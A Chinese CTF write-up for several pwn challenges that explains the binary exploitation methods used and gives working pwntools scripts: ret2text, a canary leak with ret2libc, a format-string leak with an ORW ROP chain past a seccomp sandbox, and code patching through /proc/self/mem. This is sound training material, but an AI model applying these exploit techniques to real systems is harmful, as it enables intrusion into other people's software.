Pwn ret2text签到 ret2text
exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) p = remote("xlctf.huhstsec.top" , 41658 ) shell = 0x401157 payload = b'a' *0xA + b'a' *8 + p64(shell) p.send(payload) p.interactive()
ezlibc 开了 Canary 和 NX 保护
bug 函数有两次输入,第一次输入之后 printf 会打印输入的内容
由于程序开了 canary 保护,所以需要泄露出 canary。我们注意到 canary 在 rbp-8 的位置,那么我们可以先输入 0x30-0x8 字节的数据,然后再输入一个字节,在 printf 打印数据时,canary 也会被泄露出来,最后在第二次输入时打 ret2libc 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) elf = ELF('./pwn' ) p = remote("xlctf.huhstsec.top" , 26764 ) libc = ELF('./libc6_2.27-3ubuntu1.6_amd64.so' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x400764 pop_rdi = 0x400843 ret = 0x40059e p.recvuntil("I think it's easy to get the flag!" ) payload = b'a' *(0x30 -8 ) + b'b' p.send(payload) p.recvuntil(b'b' ) canary = u64(p.recv(7 ).rjust(8 , b'\x00' )) success('canary:{}' .format (hex (canary))) p.recvuntil("Maybe UR closer to the key" ) payload = b'a' *(0x30 -8 ) + p64(canary) + b'a' *8 payload += p64(pop_rdi) + p64(puts_got) payload += p64(puts_plt) + p64(main) p.sendline(payload) p.recvuntil("keep trying\n" ) puts_addr = u64(p.recv(6 ).ljust(8 , b'\x00' )) success('puts_addr:{}' .format (hex (puts_addr))) libc_base = puts_addr - libc.sym['puts' ] success('libc_base:{}' .format (hex (libc_base))) system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search(b'/bin/sh\x00' )) p.recvuntil("I think it's easy to get the flag!" ) p.sendline(b'a' ) p.recvuntil("Maybe UR closer to the key" ) payload = b'a' *(0x30 -8 ) + p64(canary) + b'a' *8 payload += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) p.sendline(payload) p.interactive()
你知道sandbox吗? 这道题也是离谱,中途换了附件,然后 libc 也没给对。
开了 Canary 和 NX 保护
main 函数调用了 sandbox 函数和 func 函数
func 函数有两次输入,第一次输入的大小是 0x20,没有栈溢出,但接下来的 printf 存在格式化字符串漏洞;第二次输入的大小是 0x150,存在栈溢出
查看沙箱发现禁用了 execve
我们可以先利用格式化字符串来泄露出 canary 和 libc,gdb 调试,发现 canary 和 libc 分别在 13 和 19 的位置
1 2 3 4 5 6 7 8 9 10 p.recvuntil("Do you know orw?" ) payload = b'%13$p-%19$p' p.send(payload) p.recvuntil('0x' ) canary = int (p.recv(16 ), 16 ) success('canary:{}' .format (hex (canary))) p.recvuntil(b'-' ) libc_base = int (p.recv(14 ), 16 ) - 0x29d90 success('libc_base:{}' .format (hex (libc_base)))
由于开了沙箱,我们选择使用 orw 来将 flag 读出来
我们先构造 read 的 rop 链,用于后续将文件 ./flag 读到 bss 段
1 2 3 4 5 6 payload = b'a' *(0x40 -8 ) + p64(canary) + b'a' *8 payload += p64(pop_rdi) + p64(0 ) payload += p64(pop_rsi) + p64(bss) payload += p64(pop_rdx) + p64(0x40 ) + p64(0 ) payload += p64(read)
接着使用 open 打开 bss 段上的文件./flag
1 2 3 4 5 payload += p64(pop_rdi) + p64(bss) payload += p64(pop_rsi) + p64(0 ) payload += p64(pop_rdx) + p64(0 ) + p64(0 ) payload += p64(open )
然后使用 read 读取文件./flag 的内容到 bss 段,由于./flag 是第一个打开的文件,所以文件描述符是 3
1 2 3 4 5 payload += p64(pop_rdi) + p64(3 ) payload += p64(pop_rsi) + p64(bss) payload += p64(pop_rdx) + p64(0x40 ) + p64(0 ) payload += p64(read)
最后需要将 flag 打印出来,这里我使用了 puts 来打印
1 2 3 payload += p64(pop_rdi) + p64(bss) payload += p64(puts_plt)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import * context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) elf = ELF('./pwn1' ) p = remote("xlctf.huhstsec.top" , 48321 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x401402 pop_rdi = 0x4014c3 bss = 0x404060 +0x400 p.recvuntil("Do you know orw?" ) payload = b'%13$p-%19$p' p.send(payload) p.recvuntil('0x' ) canary = int (p.recv(16 ), 16 ) success('canary:{}' .format (hex (canary))) p.recvuntil(b'-' ) libc_base = int (p.recv(14 ), 16 ) - 0x29d90 success('libc_base:{}' .format (hex (libc_base)))open = libc_base + libc.sym['open' ] read = libc_base + libc.sym['read' ] write = libc_base + libc.sym['write' ] pop_rsi = libc_base + 0x16333a pop_rdx = libc_base + 0x904a9 payload = b'a' *(0x40 -8 ) + p64(canary) + b'a' *8 payload += p64(pop_rdi) + p64(0 ) payload += p64(pop_rsi) + p64(bss) payload += p64(pop_rdx) + p64(0x40 ) + p64(0 ) payload += p64(read) payload += p64(pop_rdi) + p64(bss) payload += p64(pop_rsi) + p64(0 ) payload += p64(pop_rdx) + p64(0 ) + p64(0 ) payload += p64(open ) payload += p64(pop_rdi) + p64(3 ) payload += p64(pop_rsi) + p64(bss) payload += p64(pop_rdx) + p64(0x40 ) + p64(0 ) payload += p64(read) payload += p64(pop_rdi) + p64(bss) payload += p64(puts_plt) p.recvuntil("can you did it?" ) p.send(payload) sleep(0.2 ) p.send(b'./flag' ) p.interactive()
值得一提的是,由于当时 libc 没给对,给我做急眼了,然后突然意识其实这道题可以泄露出 puts 函数的真实地址,远程 puts 函数的真实地址是 e50 结尾,这正好是我虚拟机 Ubuntu22.04 的 libc。
我们先利用格式化字符串泄露出 canary
1 2 3 4 5 6 7 p.recvuntil("Do you know orw?" ) payload = b'%13$p' p.send(payload) p.recvuntil('0x' ) canary = int (p.recv(16 ), 16 ) success('canary:{}' .format (hex (canary)))
第二次输入我们泄露出 puts 函数的真实地址,再返回 main 函数,然后就是利用 puts 函数计算 libc 基址。
1 2 3 4 5 6 7 8 9 10 11 p.recvuntil("can you did it?" ) payload = b'a' *(0x40 -8 ) + p64(canary) + b'a' *8 payload += p64(pop_rdi) + p64(puts_got) payload += p64(puts_plt) + p64(main) p.send(payload) p.recvuntil(b'\n' ) puts_addr = u64(p.recv(6 ).ljust(8 , b'\x00' )) success('puts_addr:{}' .format (hex (puts_addr))) libc_base = puts_addr - libc.sym['puts' ] success('libc_base:{}' .format (hex (libc_base)))
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import * context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) elf = ELF('./pwn1' ) p = remote("xlctf.huhstsec.top" , 48321 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x401402 pop_rdi = 0x4014c3 bss = 0x404060 +0x400 p.recvuntil("Do you know orw?" ) payload = b'%13$p' p.send(payload) p.recvuntil('0x' ) canary = int (p.recv(16 ), 16 ) success('canary:{}' .format (hex (canary))) p.recvuntil("can you did it?" ) payload = b'a' *(0x40 -8 ) + p64(canary) + b'a' *8 payload += p64(pop_rdi) + p64(puts_got) payload += p64(puts_plt) + p64(main) p.send(payload) p.recvuntil(b'\n' ) puts_addr = u64(p.recv(6 ).ljust(8 , b'\x00' )) success('puts_addr:{}' .format (hex (puts_addr))) libc_base = puts_addr - libc.sym['puts' ] success('libc_base:{}' .format (hex (libc_base))) read = libc_base + libc.sym['read' ]open = libc_base + libc.sym['open' ] write = libc_base + libc.sym['write' ] pop_rsi = libc_base + 0x16333a pop_rdx = libc_base + 0x904a9 p.recvuntil("Do you know orw?" ) payload = b'%13$p' p.send(payload) p.recvuntil('0x' ) canary = int (p.recv(16 ), 16 ) success('canary:{}' .format (hex (canary))) payload = b'a' *(0x40 -8 ) + p64(canary) + b'a' *8 payload += p64(pop_rdi) + p64(0 ) payload += p64(pop_rsi) + p64(bss) payload += p64(pop_rdx) + p64(0x40 ) + p64(0 ) payload += p64(read) payload += p64(pop_rdi) + p64(bss) payload += p64(pop_rsi) + p64(0 ) payload += p64(pop_rdx) + p64(0 ) + p64(0 ) payload += p64(open ) payload += p64(pop_rdi) + p64(3 ) payload += p64(pop_rsi) + p64(bss) payload += p64(pop_rdx) + p64(0x40 ) + p64(0 ) payload += p64(read) payload += p64(pop_rdi) + p64(bss) payload += p64(puts_plt) p.recvuntil("can you did it?" ) p.send(payload) sleep(0.2 ) p.send(b'./flag' ) p.interactive()
宇宙射线 没做出来,复现一下
main 函数,打开了一个/proc/self/mem 文件,通过该文件,可以读取或写入进程的内存。第一个输入提示用户输入一个十六进制格式的内存地址,然后/proc/self/mem 文件会根据输入的内存地址进行修改。这里我们还可以注意到,/proc/self/mem 文件关闭后有一个 sys_exit 的系统调用
查看其汇编代码,将 mov rax, 3Ch 改成 mov rax, 0 就是可以系统调用 read,从而进行溢出
查找 gadget 的时候,并没有发现 rdi 的 gadget 的,不过 key 函数给出了一段 gadget,通过这段 gadget 可以控制 rdi
总的来说,我们需要通过/proc/self/mem 文件将代码段的 sys_exit 系统调用改为 read,实际上就是两次输入,第一次输入地址从而找到修改点,第二次输入 0 将 3Ch 改成 0 即可实现 mov rax 0; 有了溢出点之后打 ret2libc 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) elf = ELF('./pwn' ) p = remote('101.43.67.25' , 8090 ) libc = ELF('./libc.so.6' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x401309 mov_rdi_rbp_pop_rbp = 0x40129E pop_rbp = 0x4012A2 ret = 0x40101a p.recvuntil("Enter the coordinates of the cosmic rays:" ) p.sendline(hex (0x40155F +3 ).encode()) p.recvuntil("Enter the data sent:" ) p.sendline(b'0x0' ) payload = b'a' *(0x12 +8 ) + p64(pop_rbp) + p64(puts_got) payload += p64(mov_rdi_rbp_pop_rbp) + p64(0x0 ) + p64(puts_plt) + p64(main) p.send(payload) p.recvuntil(b'\n' ) puts_addr = u64(p.recv(6 ).ljust(8 , b'\x00' )) success('puts_addr:{}' .format (hex (puts_addr))) libc_base = puts_addr - libc.sym['puts' ] success('libc_base:{}' .format (hex (libc_base))) system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search(b'/bin/sh\x00' )) pop_rdi = libc_base + next (libc.search(asm('pop rdi; ret' ))) p.recvuntil("Enter the coordinates of the cosmic rays:" ) p.sendline(hex (0x40155F +3 ).encode()) p.recvuntil("Enter the data sent:" ) p.sendline(b'0x0' ) payload = b'a' *(0x12 +8 ) + p64(pop_rdi) + p64(binsh) payload += p64(ret) + p64(system) p.send(payload) p.interactive()